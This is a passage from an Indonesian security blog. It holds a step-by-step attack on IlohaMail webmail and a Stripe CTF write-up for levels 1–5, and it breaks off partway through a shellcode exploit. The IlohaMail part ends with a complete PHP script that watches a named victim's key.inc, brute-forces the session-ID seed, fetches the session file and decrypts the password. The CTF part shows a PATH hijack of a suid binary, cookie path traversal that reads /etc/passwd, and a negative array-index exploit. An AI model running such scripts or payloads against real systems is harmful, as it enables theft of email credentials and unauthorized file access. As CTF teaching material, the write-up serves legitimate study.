Setiap user berhasil login ke webmail, username dan password user tersebut disimpan dalam bentuk encrypted di file session yang formatnya, /data/sessions/xxxxxxxxxx-yyyyy.inc, dimana xxxxxxxxx adalah unix timestamp dalam detik, waktu ketika user tersebut login, dan yyyyy adalah suatu random number. File session ini hanya ada selama user tersebut masih login, setelah user tersebut logout file ini akan dihapus.

Gabungan dari unix time dan 5 digit random number berfungsi sebagai session id dalam ilohamail.

Contoh file session adalah:

Dalam gambar di atas, session id user tersebut adalah ’1343353564-90856′. File pada gambar di atas adalah session file yang mengandung username dan password dalam bentuk encrypted yang nantinya akan kita dekrip. Jadi file ini adalah target utama kita bila ingin mencuri username dan password seorang user.

Sebelumnya ada tiga masalah yang harus kita pecahkan untuk mendapatkan user dan password seorang user dari session file:

unix time dalam detik ketika seorang user target login
5 digit random number yang menjadi bagian session id
encryption key untuk mendekrip user dan password user

Encryption Key

Kita beruntung karena encryption key untuk mendekrip user dan password dalam session file tersedia dan bisa dibaca di folder /data/users/username.host/key.inc.

File key.inc isinya hanya satu baris saja berisi variabel $passkey dan encryption keynya.

Dari file ini kita bisa tahu kunci untuk mendekrip username dan password seorang user. Namun masih ada 2 persoalan lagi, kita belum tahu nama session filenya karena nama file session terdiri dari unix time ketika user login dan 5 digit random number.

Leaked Logon Time

Kalau kita request file key.inc dari web server, kita akan mendapatkan informasi kapan file tersebut diubah dari response header ‘Last-Modified-Header’.

Berikut adalah contoh traffic HTTP ketika kita meminta file key.inc dari server.

* About to connect() to localhost port 8888 (#0)
*   Trying ::1... connected
* Connected to localhost (::1) port 8888 (#0)
&gt; GET /ilohamail0814rc3/data/users/rizki@ilmuhacking.com.ilmuhacking.com/key.inc HTTP/1.1
&gt; User-Agent: curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5
&gt; Host: localhost:8888
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Date: Fri, 27 Jul 2012 02:32:26 GMT
&lt; Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
&lt; Last-Modified: Fri, 27 Jul 2012 01:46:04 GMT
&lt; ETag: "20e651-25-4c5c5dffd6f00"
&lt; Accept-Ranges: bytes
&lt; Content-Length: 37
&lt; Content-Type: text/plain
&lt; 
* Connection #0 to host localhost left intact
* Closing connection #0
<!--?php $passkey="llikn1JzvLOnkYJ0"; ?-->

Dari response header ‘Last-Modified’ kita mendapat informasi bahwa user rizki@ilmuhacking.com login pada 27 Juli 2012, 01:46:04 GMT, atau kalau diubah dalam bentuk unix time menjadi 1343353564. Jadi kini kita sudah bisa menjawab persoalan unix time ketika user target login dari header Last-Modified.

Random Number Session ID

Tinggal satu persoalan lagi yang harus kita pecahkan, yaitu dari mana kita tahu 5 digit random number yang menjadi bagian dari session id ?

Lagi-lagi kita berhadapan dengan misteri random number. Ingat untuk bisa memprediksi random number, yang kita butuhkan adalah seed yang dipakai PRNGnya. Adakah kebocoran seed disini?

Ternyata ada kebocoran seed dari encryption key yang kita dapatkan dari file key.inc. Mari kita lihat bagaimana file key.inc dibuat:

    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session; 
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Pada baris ke-6 di atas terlihat bahwa session ID terdiri dari unix time (yang sudah kita dapatkan) dan hasil dari GenerateRandomString(). Pada baris ke-11 terlihat bahwa encryption key yang disimpan dalam file key.inc digenerate oleh fungsi GenerateMessage().

Mari kita lihat definisi GenerateRandomString() dan GenerateMessage().

function GenerateRandomString($messLen, $seed){
 srand ((double) microtime() * 1000000);
 if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
 $seedLen=strlen($seed);
 if ($messLen==0) $messLen = rand(10, 20);
 for ($i=0;$i<$messLen;$i++){
  $point=rand(0, $seedLen-1);
  $message.=$seed[$point];
 }
 return $message;
}
 
function GenerateMessage($messLen){
 $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
 return GenerateRandomString($messLen, $seed);
}

Ternyata GenerateMessage() yang dipakai untuk men-generate encryption key dalam key.inc juga memakai fungsi GenerateRandomString(), jadi kita hanya fokuskan pembahasan pada GenerateRandomString() saja.

Seperti pada kasus sebelumnya, PRNG dalam GenerateRandomString() diberi seed dengan microtime() dikali 1 juta, artinya hanya ada 1 juta kemungkinan nilai seed. Karena hanya ada 1 juta kemungkinan nilai seed, maka random string yang di-generate juga hanya ada 1 juta kemungkinan dan ada hubungan 1 ke 1 antara seed dan random string yang di-generate. Ini artinya dari seed kita bisa dapatkan random string dan sebaliknya dari random string bisa kita ketahui berapa seed yang dipakai PRNGnya.

Adanya hubungan pemetaan 1 ke 1 antara seed dan random string yang digenerate artinya kita bisa mengetahui seed yang dipakai untuk men-generate encryption key dalam key.inc, dari sinilah kebocoran seed terjadi.

Agar proses pencarian seed lebih cepat mari kita buat look up table yang memetakan antara seed (1 juta seed) dan random string yang digenerate. Dengan adanya tabel ini kita bisa mencari dalam tabel tanpa harus menghitung lagi. Berikut adalah script untuk generate 1 juta seed dan random stringnya.

Setelah selesai proses generate, kita kini memiliki tabel berisi 1 juta seed dan random string yang digenerate dengan seed tersebut. Mari kita coba dengan tabel ini mencari seed dari encryption key ‘llikn1JzvLOnkYJ0′ yang kita dapatkan dari key.inc.

Seed Encryption Key vs Seed Session ID

Dari lookup table, kita dapatkan seed yang dipakai PRNG untuk men-generate untuk encryption key tersebut adalah 233189. Tapi jangan lupa bahwa yang kita cari bukan seed untuk encryption key, yang kita cari adalah seed untuk generate 5 digit session ID.

Lalu apakah seed yang dipakai untuk men-generate encryption key sama dengan seed yang dipakai untuk men-generate 5 digit session id ?

    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session; 
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Kalau kita perhatikan urutannya dari source code di atas, yang pertama di-generate adalah 5 digit session id (di baris 6), baru kemudian generate encryption key (di baris 11). Ingat bahwa keduanya memakai fungsi yang sama, GenerateRandomString() yang didalamnya dilakukan seeding PRNG dengan microsecond, sehingga seed yang dipakai untuk generate encryption key berbeda dengan seed yang dipakai untuk generate 5 digit session ID.

Karena seed adalah microsecond, artinya perbedaan seed antara keduanya adalah perbedaan waktu eksekusi dalam microsecond. Bisa disimpulkan bahwa seed untuk generate 5 digit session ID adalah beberapa microsecond sebelum seed untuk generate encryption key, atau seed session ID < seed encryption key.

Tergantung dari mesin yang dipakai, perbedaan waktu antara keduanya umumnya tidak banyak, mungkin paling banyak hanya mencoba 100 kali. Agar lebih cepat lagi, kalau kita yakin bahwa perbedaan waktunya > 30 microsecond, kita bisa mulai brute force mundur mulai dari seed encryption key – 30, tidak mulai dari seed encryption key.

Gambar di bawah ini menunjukkan script melakukan brute force mundur mulai dari seed encryption key-30, dan menemukan seednya hanya dalam 15 kali percobaan.

Script di atas berhasil mendapatkan session file yaitu 1343353564-90856.inc dengan sangat cepat hanya dengan beberapa percobaan saja. Hal ini bisa dilakukan karena kita sudah tahu bahwa seed untuk generate session ID adalah beberapa microsecond sebelum seed untuk generate encryption key.

File session ini hanya akan ada selama user tersebut masih belum logout, begitu user tersebut logout, file session akan dihapus, walaupun file key.inc akan tetap ada. Jadi agar serangan berhasil kita harus secepat mungkin mengambil session file begitu korban login, sebelum dia logout.

Dari mana kita tahu bahwa korban yang kita target baru saja login? Kita bisa tahu “last login” seorang user dari header Last-Modified yang kita terima ketika request file key.inc user tersebut. Bila kita sudah tahu calon korban yang kita target, kita bisa membuat script yang setiap menit memonitor file key.inc user tersebut, begitu user tersebut baru saja login (dari Last-Modified header), secepatnya langsung kita ambil session filenya dan mendekrip passwordnya.

Gambar di atas memperlihatkan sebuah script yang memonitor seorang target korban, dari jamnya terlihat bahwa setelah script berjalan 1 jam, baru korban login.

Setiap menit script melihat Last-Modified header dari key.inc
Begitu diketahui key.inc baru dimodifikasi 1 menit yang lalu, artinya target baru login
Script mencari seed encryption key dari lookup table
Script melakukan brute force mundur untuk mencari seed 5 digit session ID
Script membaca session file
Script mendekripsi password korban

Berikut ini adalah source code untuk berburu password email target.

<?php
 
mysql_connect("127.0.0.1","root","root");
mysql_select_db("iloha");
 
print @date("Y-m-d H:i:s").">> Menunggu target login...\n";
while (true) {
 $user = 'rizki@ilmuhacking.com';
 $mxhost = 'ilmuhacking.com';
 
 $url = "http://localhost:8888/ilohamail0814rc3/data/users/${user}.${mxhost}/key.inc";
 
 $curl = curl_init();
 curl_setopt($curl, CURLOPT_URL, $url); 
 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($curl, CURLOPT_FILETIME, true);
 curl_setopt($curl, CURLOPT_TIMEOUT, 15);
 $result = curl_exec($curl);
 $timestamp = intval(curl_getinfo($curl, CURLINFO_FILETIME));
 $delta=time()-$timestamp;
 if ( $delta < 60 ) { // baru login di bawah 1 menit yang lalu 
  print @date("Y-m-d H:i:s").">> Target baru login $delta detik yang lalu\n";
  $count = preg_match_all('#"(.*)"#',$result,$matches);
  if ($count == 1) {
   $key = $matches[1][0];
 
   $lenkey = strlen($key);
   $sql = "select `seed` from `keyseed` where `key` LIKE '$key%'";
   $res = mysql_query($sql);
   $arr = mysql_fetch_array($res);
   $seed = intval($arr[0]);
 
   print @date("Y-m-d H:i:s").">> Encryption key --> $key\n";
   print @date("Y-m-d H:i:s").">> Timestamp: $timestamp\n";
   print @date("Y-m-d H:i:s").">> Seed that generated '$key': $seed\n";
 
   $mulai = $seed-40;
   print @date("Y-m-d H:i:s").">> Brute forcing random seed around $mulai ...\n";
   $end = $seed - 700;
   for ($i = $mulai; $i > $end; $i--) {
    $guess = GenerateRandomString(5,"0123456789",$i);
    $filename = sprintf("%d-%05d.inc",$timestamp,$guess);
    $url = sprintf("http://localhost:8888/ilohamail0814rc3/data/sessions/$filename",$waktu,$i);
 
    curl_setopt($curl, CURLOPT_URL, $url);         
    curl_setopt($curl, CURLOPT_TIMEOUT, 15);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_FILETIME, false);
    $sess = curl_exec($curl);  
    if ($sess === false) {
     continue;
    }
    if (!empty($sess) && strpos($sess,"GetPassword")>-1) {
     $sess = trim($sess);
     print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> OK\n$url\n";   
 
     $count = preg_match_all('#"(.*)"#',$sess,$matches);
     if ($count == 4) {
      $password = $matches[1][0];
      $host = $matches[1][1];
      $username = $matches[1][2];
      $userpath = $matches[1][3];
 
      $decoded_user = DecodeMessage($key,$username);
      $decoded_pass = DecodeMessage($key,$password);
 
      print @date("Y-m-d H:i:s").">> Decrypted >>>> $decoded_pass \n";
     }
     die();
    } else {
     print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> Not Found\n";
    }
   }
  }
 }
 sleep(30);
}
 
 
function GenerateRandomString($messLen, $seed, $seedkey){
        srand ((double)$seedkey);
        $message = "";
        if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
        $seedLen=strlen($seed);
        if ($messLen==0) $messLen = rand(10, 20);
        for ($i=0;$i<$messLen;$i++){
                $point=rand(0, $seedLen-1);
                $message.=$seed[$point];
        }
        return $message;
}
 
function DecodeMessage($pass, $message){
 $message=base64_decode($message);
 $messLen=strlen($message);
 $passLen=strlen($pass);
 
 $decMessage="";
 for ($i=0;$i<$messLen;$i++){
  $j=$i % $passLen;
  $num=ord($message[$i]);
  $decNum=(($num + 128) - ord($pass[$j])) % 128;
  $decMessage.=chr($decNum);
 }
 
 return $decMessage;
}
 
?>

Stripe CTF Level 1-5

On February 28, 2012, in Exploit, by Rizki Wicaksono

Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.

Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.

Level 01

Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:

Welcome to the Stripe CTF challenge!
 
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
 
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
 
We've created a scratch directory for you in /tmp.
 
There are a total of 6 levels in this CTF; if you're stuck, feel free
to email ctf@stripe.com for guidance.

Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.

Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.

-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01

Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$

Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?

Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.

#include 
#include 
 
int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}

Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.

Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.

Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv

Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.

Level 02

Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.

Congratulations on making it to level 2!
 
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
 
You can find the source code for level02.php in /var/www/.

Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.

Mari kita lihat source code aplikasinya:

<?php
    function random_string($max = 20){
        $chars = "abcdefghijklmnopqrstuvwxwz0123456789";
        for($i = 0; $i < $max; $i++){
            $rand_key = mt_rand(0, strlen($chars));
            $string  .= substr($chars, $rand_key, 1);
        }
        return str_shuffle($string);
    }
 
    $out = '';
    if (!isset($_COOKIE['user_details'])) {
      $out = "<p>Looks like a first time user. Hello, there!</p>";
      $filename = random_string(16) . ".txt";
      $f = fopen('/tmp/level02/' . $filename, 'w');
 
      $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT'];
      fwrite($f, $str);
      fclose($f);
      setcookie('user_details', $filename);
    }
    else {
      $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
    }
 
?>
 
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p><?php echo $out ?></p>
      <?php
        if (isset($_POST['name']) && isset($_POST['age'])) {
          echo "You're ".$_POST['name'].", and your age is ".$_POST['age'];
        }
        else {
      ?>
      <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
      <?php   } ?>
    </div>
  </body>
</html>

Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.

Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?

Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.

Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.

$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.

$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php

<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>Or0m4UX07b
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Level 03

Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.

Congratulations on making it to level 3!
 
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.

Sebelumnya mari kita coba dulu aplikasi /levels/level03.

level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length

Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?

Berikut ini adalah source code aplikasinya.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
 
#define NUM_FNS 4
 
typedef int (*fn_ptr)(const char *);
 
int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}
 
int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}
 
int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}
 
int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}
 
  printf("Length of string '%s': %d\n", str, len);
  return 0;
}
 
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
 
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}
 
int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
 
  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  // Parse supplied index
  index = atoi(argv[1]);
 
  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  return truncate_and_call(fns, index, argv[2]);
}

Unsafe Function Pointer Usage

Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.

Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.

Array index out of bounds

Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.

Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).

Negative index array

Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?

index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.

Cara 1

Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).

Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).

$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax

Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.

Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.

